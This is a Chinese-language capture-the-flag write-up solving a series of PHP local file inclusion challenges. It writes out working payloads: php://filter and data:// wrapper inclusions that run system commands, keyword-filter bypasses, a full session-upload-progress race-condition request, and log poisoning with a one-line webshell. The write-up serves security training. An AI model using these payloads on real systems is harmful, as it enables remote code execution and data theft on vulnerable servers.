1.EZFL
我们随便点一下旁边的文件,发现url一直有个file,就想到了文件包含,直接查看源码后发现这个
base64解码后是flag is in /flag.txt
2.EZFL1
和上一题一样,直接查看源码
base64解码后**The flag is right in flag.php, but you'll never be able to see it.**翻译是flag 就在 flag.php 里,但你永远无法看到它。
伪协议:?file=php://filter/read=convert.base64-encode/resource=flag.php
后得到
base64解码后拿到flag
3.EZFL2
和上一题一样
解码后也一样,?file=php://filter/read=convert.base64-encode/resource=flag.php,不过得到的是no way 于是换个编码试试?file=php://filter/convert.iconv.utf-8.utf-16/resource=flag.php,拿到flag
4.EZFL3
和之前一样,依旧查看页面源码,
不过这次base64解码是**There are no more hints for you, kid. From now on, you have to rely on yourself.翻译就是:不再给你更多提示了,孩子。从现在起,你得靠自己了。
当然一头雾水,查看之前的笔记,想到可以使用file:///etc/passwd来查看本地文件
我们可以尝试查看源码找线索
/?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码后,发现了隐藏的php代码
<?php error_reporting(0); $file = isset($_GET['file']) ? $_GET['file'] : 'pages/home.php'; ?> <?php include($file); // ← 直接包含,没有任何过滤! ?>
尝试使用data://执行代码查找flag
/?file=data://text/plain,<?php system('find / -name "flag*" 2>/dev/null');?>
很多,我们找到了flag在flag-mZXg2wdHqRagAiDBzopwfEd4ymaOiN.txt
/?file=file:///flag-mZXg2wdHqRagAiDBzopwfEd4ymaOiN.txt
5.EZFL4
和上一题一样,先读取源码
/?file=php://filter/read=convert.base64-encode/resource=index.php
结果回显php not allow;所以关键字php被过滤了,尝试了很多方法 ,最后使用了php特性,通过拼接字符串来读取内容;(或使用ASCII码拼接/?file=data://text/plain, show_source()可以直接读取页面的内容)
/?file=data://text/plain,<?=file_get_contents('flag.p'.'hp');?>
(注:这个方法的确能拿到flag,但是我是在页源码界面输的,即
view-source:http://docker.qingcen.net:43040/?file=data://text/plain,%3C?=file_get_contents(%27flag.p%27.%27hp%27);?%3E )
6.EZFL5
和上一题一样,读取源码的时候显示php not allow;所以关键字php被过滤了,同样使用php特性,结果回显data not allowed;所以data;//也被过滤了。查了一下资料,可以使用日志文件包含,不过/var/log/apache2/access.log 无读取权限,所以日志文件包含也没有希望了,还好天无绝人之路,/tmp/sess_<SESSION_ID> 不含 php 字符。
方法:PHP_SESSION_UPLOAD_PROGRESS 利用
原理:PHP 默认开启 session.upload_progress.enabled,当有文件上传时,会自动在 /tmp/ 目录下创建 sess_<SESSION_ID> 会话文件,其中包含上传进度信息。
Step 1: 设置固定Session ID
目的:让session文件名可预测(/tmp/随便取个名字(下面以sess_minimax为例)`)
- 在Burp Proxy → Options → Match and Replace
- 点击 Add,添加规则:
- Type: Request header
- Match:
Cookie: PHPSESSID=.* - Replace:
Cookie: PHPSESSID=minimax - Regex match: ✅ 勾选
- 这样所有经过Burp的请求都会自动替换为固定Session ID
Step 2:构造恶意上传请求
目标:让PHP Session文件包含我们的恶意代码 在页面找一个文件上传点(如果没有,直接用任意POST请求也可以) 手动构造POST请求:
POST / HTTP/1.1
Host: docker.qingcen.net:43128
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Cookie: PHPSESSID=minimax
Content-Length: 265
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('cat /var/www/html/flag.php');?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="a.txt"
Content-Type: text/plain
test
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Step 3:竞争条件攻击
Intruder多线程并发配置上传请求(Intruder):
- Positions 标签:清除所有Payload标记(不需要变量)
- Payloads 标签:
- Payload type: Null payloads
- Payload options: 无限发送
- Options 标签:
- Number of threads: 20
- Request timeout: 500配置包含请求(第二个Intruder): 手动构造LFI请求:
GET /?file=../../../../../tmp/sess_minimax HTTP/1.1 Host: docker.qingcen.net:43128 Cookie: PHPSESSID=minimax
payload的配置和上传请求一样。 同时启动两个Intruder攻击:
- 先启动上传Intruder(让session文件不断被创建)
- 紧接着启动包含Intruder(不断尝试包含session文件)
- 在包含Intruder的 Results 中搜索
flag{或观察响应长度异常 ![[ctf_writeup.txt]] (这是ai的脚本wp) 后来看了康神的wp,他是使用php大写绕过和PHP://input来解 ![[5f6a658b7051f0441fcc4bf569d439b2.png]] 还得是康神!!!!!!!!!!!!
7.EZFL6
试了之前所有的方法均无用,于是就尝试了一下目录穿越?file=../../../../../flag.txt竟然拿到了flag???????真的懵逼了,感觉是出题人疏忽了。问了管理员才知道是后台没有后进行保护,于是又开启了漫长的找flag之路 看看日志是能访问的,所以应该就是日志泄露了。 hackbar V2好像可以直接注入一句话说木马
<?php system('cat /flag.txt');?>
然后查看
/?file=../../../../../var/log/nginx/access.log
就能拿到flag了。
评论区
评论加载中...